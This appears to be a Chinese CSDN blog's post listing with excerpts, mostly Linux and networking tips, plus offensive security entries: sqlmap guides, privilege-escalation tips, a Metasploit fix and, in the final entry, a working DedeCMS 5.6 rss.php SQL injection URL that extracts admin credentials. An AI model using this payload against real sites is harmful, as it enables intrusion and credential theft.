- 博客(227)
- 资源 (2)
- 收藏
- 关注
![](https://csdnimg.cn/release/blogv2/dist/pc/img/listFixedTop.png)
原创 积木的生活
人的一生,其实细想,就好象儿时玩的积木。生活里的点点滴滴,好象都是那一个个小小的积木块,每一块小小的积木,都有着它自己不同的位置,关键是你怎样去摆放。也许你会把它做的很完美,但也避免不了瞬间的倒塌。重要的是,你仍然有足够的勇气从新再来。
2008-09-12 22:33:00
1187
1
转载 Kali安装中文输入法
1.更新软件源:root权限:leafpad /etc/apt/sources.list然后添加以下较快的源:deb http://http.kali.org/kali kali main non-free contribdeb-src http://http.kali.org/kali kali main non-free contribdeb http://
2013-11-07 20:21:32
30871
4
原创 the partition is misaligned by 1536 this may result in very poor ...解决方法
今天新买了块硬盘,用debian系统自带的分区软件:磁盘实用工具进行分区,结果分区后有个提示:the partition is misaligned by 1536 this may result in very poor performance repartitioning is suggested中文的意思大致是这样:1536分区错位,这可能会导致非常差的性能,建议重新分区开始
2013-10-31 20:45:24
7263
原创 gedit嵌入终端插件灰白背景解决方法
gedit中的嵌入终端插件是非常不错的,但是默认开启后,它的背景和字体颜色有点重色,看着特别不清楚,难以辨认。解决方法如下:1、在终端中输入命令:#dconf-editor如果没有这个命令,那么首先进行安装,安装命令:#apt-get install dconf-tools2、在弹出的界面中找到org-gedit-plugins-terminal选项在右边显示的
2013-10-16 10:00:32
3375
转载 SQLMAP常用参数的中文解释
SQLMAP是一款基于python开发的SQL注入工具,几乎支持现在所有的数据库,功能非常强大。由于是国外的产品,所以对于我这种英语水平不高的菜鸟来说,使用起来会有点困难。虽然现在已经能熟练使用大部分功能了,但还是把中文解释贴过来,方便以后使用。Options(选项):–version 显示程序的版本号并退出-h, –help 显示此帮助消息并退出-v VERBOSE 详细
2013-07-19 12:33:36
2444
原创 debian 7 (wheezy)下安装运行vmware workstation 9 之弹窗 “VMware Kernel Module Updater” 错误解决方案
debian 7 默认只会安装极少的软件。安装环境:64位:debian 7 (wheezy),内核版本号为3.2.0.4-amd6464位:VMware-Workstation-Full-9.0.2-1031769.x86_64.bundle安装过程:root权限下:./VMware-Workstation-Full-9.0.2-1031769.x
2013-07-14 17:53:11
4425
原创 安装Debian7过程提示缺少固件文件的解决方法
最近Debian7已经发行了,所以尝试在我的ThinkPad T410S上进行安装。我把下载好的Debian7的第一个iso文件刻录到一个U盘中,利用这个U盘来进行引导安装。在安装过程中,Debian7没能把T410S的无线网卡驱动集成在内核里, 所以无线网卡不能连接网络(公司不提供有线网络,只能用无线)。并提示缺少固件文件,其文件名为:iwlwifi-6000-4.ucode (无线网卡驱动),
2013-06-15 11:02:38
10276
转载 aptitude
aptitude 是 Debian GNU/Linux 系统中, 非常神奇的的软件包管理器,基于大名鼎鼎的 APT 机制, 整合了 dselect 和 apt-get的所有功能, 并提供的更多特性,特别是在依赖关系处理上。aptitude与 apt-get 一样,是 Debian 及其衍生系统中功能极其强大的包管理工具。与 apt-get 不同的是,aptitude在处理依赖问题上更佳一些。举
2013-03-01 10:41:51
2029
转载 搭建Mutillidae使用sqlmap注入测试
目录1Using sqlmap for sql injection1.1获取数据库类型版本信息1.2获取当前数据库用户名及数据库名1.3获取所有数据库及用户和密码hashes1.4列出指定数据库中的表名1.5列出指定数据库表项的所有字段名1.6获取指定字段数据(脱裤)1.7读取指定文件1.8上传本地文件2sqlmap --cookie注入测试3sqlma
2013-02-25 14:46:56
5548
转载 White House targets WikiLeaks and LulzSec in cyber-espionage report
Amid a growing call for new cybersecurity protections in the United States, the US government has issued a report that reconfirms Washington’s interest in shutting down WikiLeaks and other underground
2013-02-22 11:52:23
2497
原创 debian系统安装Thinkpad T410s的无线网卡驱动:centrino Advanced-N 6200 2x2 AGN
前几天搞到手一台小黑:T410s。自带系统是win7。由于想学习debian,所以就搞成了双系统,安装了一套debian 6.0。可是让我困惑的是在debian下,无法使用T410s的网卡,因为默认debian下没有这个卡的驱动,这着实让我纠结。在win7下查看无线网卡的型号为:英特尔 centrino Advanced-N 6200 2x2 AGN 于是果断去网上搜这款网卡的linu
2013-01-31 11:38:48
5569
转载 CentOS 6.2安装配置LAMP服务器(Apache+PHP5+MySQL)
亲测可行! 2013.1-29准备篇: 1、配置防火墙,开启80端口、3306端口 vi /etc/sysconfig/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT(允许80端口通过防火墙) -A INPUT -m state --state NEW -m
2013-01-29 11:08:19
1965
转载 DNS劫持原理、DNS 污染的原理
DNS劫持原理 DNS劫持就是dns系统被入侵或人为的修改某些记录,如A记录,用专业的术语来讲就是通过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址。 DNS 污染的原理现行标准中 DNS 查询通常使用 UDP 协议并且没有任何验证机制,并且根据惯例查询者会接受第
2013-01-23 19:55:58
8271
1
转载 断网后互联星空的浏览器劫持
“台湾地震断网”,老流氓“互联星空”乐了,因为他们又会借机大捞一笔了,这里有我的截图为证。 首先解释一下什么是DNS劫持。严格来说中国电信的这种行为不能算是DNS劫持,但似乎除了这个名词也没有更适合的词来形容这种行为了,所以就需要解释一下DNS劫持的来龙去脉。 DNS劫持是网络安全界常见的一个名词,意思是通过某些手段取得某一目标域名的解析记录控制权,进而修改此域名的解析结果,通
2013-01-23 19:11:50
2212
转载 如何区分国内上网环境中不同的人为网络故障
众所周知,在国内上网会遇到各种各样不同的人为网络故障,使得我们无法正常访问很多网站。但由于很多人并不熟悉网络,很多时候会无法区分不同的网络故障,导致明明是网络故障,却认为是服务器故障;或明明是服务器故障,却认为是网络故障的情况。我觉得有必要说明一下不同网络故障的特征,以及区分它们并解决它们的方法。 在国内上网环境中,我们经常遇到的网络故障有:DNS劫持、DNS污染、IP封锁、服务器防火墙
2013-01-23 19:06:51
2308
转载 十大渗透测试演练系统
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的漏洞。是RandomStorm开源项目的一部分。链接地址:http://www.dvwa.co.ukmutillidaemutillidae是一个免费,开源的Web应用程序,提
2013-01-15 15:25:55
3117
转载 各种渗透,提权的经验和技巧总结(上)
旁站路径问题:1、读网站配置。2、用以下VBS:On Error Resume NextIf (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") ThenMsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9)
2013-01-15 10:04:37
2634
转载 各种渗透,提权的经验和技巧总结(中)
liunx 相关提权渗透技巧总结,一、ldap 渗透技巧:1.cat /etc/nsswitch看看密码登录策略我们可以看到使用了file ldap模式2.less /etc/ldap.confbase ou=People,dc=unix-center,dc=net找到ou,dc,dc设置3.查找管理员信息匿名方式ldapsearch -x -D "
2013-01-15 10:03:57
3506
转载 各种渗透,提权的经验和技巧总结(下)
收集系统信息的脚本:for window:@echo offecho #########system info collectionsysteminfoverhostnamenet usernet localgroupnet localgroup administratorsnet user guestnet user administrator
2013-01-15 10:02:58
2379
原创 IP地址、子网掩码、子网划分精减汇总
本文内容是基于互联网上多篇关于IP地址和子网掩码以及网络划分的文章精减改编而来,是为了方便我自己学习理解之用。-----------------------------------------------------------------------网络地址知识精减汇总--------------------------------------------------------------
2013-01-11 10:32:02
3296
原创 Backtrack5 R3 下安装chrome 不能以root权限运行解决方法
今天在BT5 R3下安装了chrome浏览器,结果是不能以root运行,提示信息为:Google Chrome can not be run as root.Please start Google Chrome as a normal user. To run as root, you must specify an alternate –user-data-dir for sto
2012-11-28 15:05:00
4317
转载 什么是A记录?什么是别名记录(CNAME)?什么是MX记录?什么是NS记录?
A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的web server上。同时也可以设置您域名的二级域名。别名记录(CNAME)也被称为规范名字。这种记录允许您将多个名字映射到同一台计算机。 通常用于同时提供WWW和MAIL服务的计算机。例如,有一台计算机名为“host.mydomain.com”(A记录)。
2012-10-19 15:46:07
1153
转载 Linux操作系统下/etc/hosts文件详解
Linux 的/etc/hosts是配置ip地址和其对应主机名的文件,这里可以记录本机的或其他主机的ip及其对应主机名。不同的linux版本,这个配置文件也可能不同...1、关于/etc/host,主机名和IP配置文件Hosts - The static table lookup for host name(主机名查询静态表)hosts文件是Linux系统中一个负责IP地址
2012-09-19 15:53:34
4513
转载 高级SSH安全技巧
【51CTO.com 独家翻译】在这篇文章中我将为你展示一些简单的技巧,帮助你提高你的SSH服务的安全。SSH服务器配置文件是/etc/ssh/sshd_conf。在你对它进行每一次改动后都需要重新启动SSH服务,以便让改动生效。1、修改SSH监听端口默认情况下,SSH监听连接端口22,攻击者使用端口扫描软件就可以看到主机是否运行有SSH服务,将SSH端口修改为大于1024
2012-09-19 14:50:37
1070
转载 chkconfig(check config)命令详解
功能说明:chkconfig命令主要用来更新(启动或停止)和查询系统服务的运行级信息。谨记chkconfig不是立即自动禁止或激活一个服务,它只是简单的改变了符号连接。 语 法:chkconfig [--add][--del][--list][系统服务] 或 chkconfig [--level ][系统服务][on/off/reset]补充说明:这是Red Hat公司遵循GPL规
2012-09-19 13:15:41
5990
转载 Linux新手生存笔记[3] —— Linux常用命令(2)
7.磁盘操作8.系统操作9.网络相关10.shell操作11.其他命令12.常用按键13.命令选项大体通用含义14.常用命令别名7.磁盘操作dudu会统计指定的目录或文件所占用的实际磁盘空间-a全部文件 包括隐藏的-m du系统默认输出是以KB,以参数-m表示以MB显示.-h以M为单位显示文件大小结果-s统计此目录中所有文件大小
2012-09-10 16:26:11
1009
转载 Linux新手生存笔记[3] —— Linux常用命令(1)
1.目录操作2.文件操作3.权限操作4.时间日期5.压缩解压6.登录退出及账号命令格式:CommandName option(s) argument(s) 命令是大小写敏感的. 命令、选项和参数之间必须用空格格开 若命令在一行内写不完,可在行尾加\ , 再接着写 1.目录操作mkdir [-options] DIRECTORY
2012-09-10 16:09:18
965
转载 Linux新手生存笔记[2] —— vim训练
目录1.打开文件操作2.存储及退出文件3.模式转换4.光标移动5.插入6.删除7.复制和黏贴8.查找9.替换10.编辑多个文件11.其他命令12分屏操作13 vim的帮助指令14.七个习惯1.打开文件操作vi进入vi而不读入任何文件vi filename进入vi并读入指定名称的文件vi filena
2012-09-10 16:02:57
790
转载 Linux新手生存笔记[1] —— Linux目录结构及说明
目录结构说明DirectoryDescription/根目录。在Windows,DOS或者其他类似的操作系统里面,每个分区都会有一个相应的根目录。但是Linux和其他UNIX系统则把所有的文件都放在一个目录树里面,/就是唯一的根目录。一般来讲,根目录下面很少保存什么文件,或者只有一个内核映像在这里。/boot很多Linux系统把内核映像和其他一些和启
2012-09-10 15:59:39
624
转载 linux 双网卡绑定(bonding)实现负载均衡或故障转移
我们在这介绍的Linux双网卡绑定实现就是使用两块网卡虚拟成为一块网卡,这个聚合起来的设备看起来是一个单独的以太网接口设备,通俗点讲就是两块网卡具有相同的IP地址而并行链接聚合成一个逻辑链路工作。其实这项技术在Sun和Cisco中早已存在,被称为Trunking和Etherchannel 技术,在Linux的2.4.x的内核中也采用这这种技术,被称为bonding。 bondin
2012-09-10 15:45:01
1665
原创 learning Linux 1 part
近期掌握了如下linux命令及常用方法:重要:linux系统中对字符是区分大小写的1) ls ls的功能是列出当前目录或指定目录中的文件信息。常配合参数:-l -a 。-l的作用是以长格式显示文件或目录属性,-a是显示出隐藏的文件或目录。linux中,以.开头的文件或目录都是隐藏的。Example:lsls -l(ls -l 可简写为ll)ls -als -
2012-09-07 09:37:52
755
转载 backtrack5 更新源
deb http://mirrors.ustc.edu.cn/backtrack/source revolution main microverse non-free testingdeb http://mirrors.ustc.edu.cn/backtrack/all revolution main microverse non-free testingdeb http://mirror
2012-08-25 15:11:15
2218
转载 ubuntu9.10更新源列表
更换源的方法:终端1 首先备份源列表:sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup2 而后用gedit或**编辑器打开:gksu gedit /etc/apt/sources.list最后刷新 sudo apt-get update-------------------------------
2012-08-25 15:03:31
1265
转载 修复metasploit v4.2.0 ,启用db_autopwn命令问题(t00ls)
msf > load db_autopwn[-] Failed to load plugin from /opt/framework3/msf3/plugins/db_autopwn: no such file to load -- /opt/framework3/msf3/plugins/db_autopwn下载 db_autopwn cp 到 /opt/framework3/ms
2012-08-22 11:03:31
2030
原创 SQLmap实战记录
【-u/--url="url"】 #后面接目标网址,表示测试的目标地址。【-v/--level=number】 #number=[0-5],表示测试结果的详细程度。数值越大,内容越详细。sqlmap.py -u “url” -v 0-5或sqlmap.py --url="url" --level=0-5通过以上参数,会得到:1、目标的操作系统信息2、数据库的类
2012-08-22 11:02:09
12284
转载 Metasploit Framework 1 part
1.目录结构metasploit framework进入update输入:svn update 进行文件更新2.MSF目录结构:data :包含meterpreter,PassiveX,VNC DLLs,还有一些用户接口的代码如msfweb,和一些插件用到的数据文件documentiation:包含msf的文档,ruby脚本样例和msf利用的APIexternal:包含
2012-08-22 10:59:35
1399
转载 读两个故事一定弄懂“云计算”
【北京晨报报道】云计算是个实在悬乎的概念,自提出6年以来,无数的文字在解释它,却有90%以上的读者不知“云”为何物。这些文字都带着一种腔调:云计算吗,简单来说就是……然而不幸的是,“简单来说”后面的文字,读者依然看不懂,智商严重受挫。请读完下面的故事,笔者将确信您能找回智商的自信:云计算就是这么个东西。 故事一:公共电网抛弃了爱迪生爱迪生的牛气无法言说,这辈子有2000多项发明,
2012-08-09 16:05:28
1166
转载 数据库中的Schema
官方定义如下: A schema is a collection of database objects (used by a user.). schema objects are the logical structures that directly refer to the database’s data. A user is a name defined in t
2012-06-11 13:16:22
851
转载 《SQL语法大全》
一、基础1、说明:创建数据库CREATE DATABASE database-name 2、说明:删除数据库drop database dbname3、说明:备份sql server--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
2012-03-01 08:39:13
865
转载 dedecms 漏洞汇总
Dedecms 5.6 rss注入漏洞 http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2)) AND "'" AND updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1)#'][0]=1DedeCms v5.6 嵌入
2012-02-29 10:25:10
16233
1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人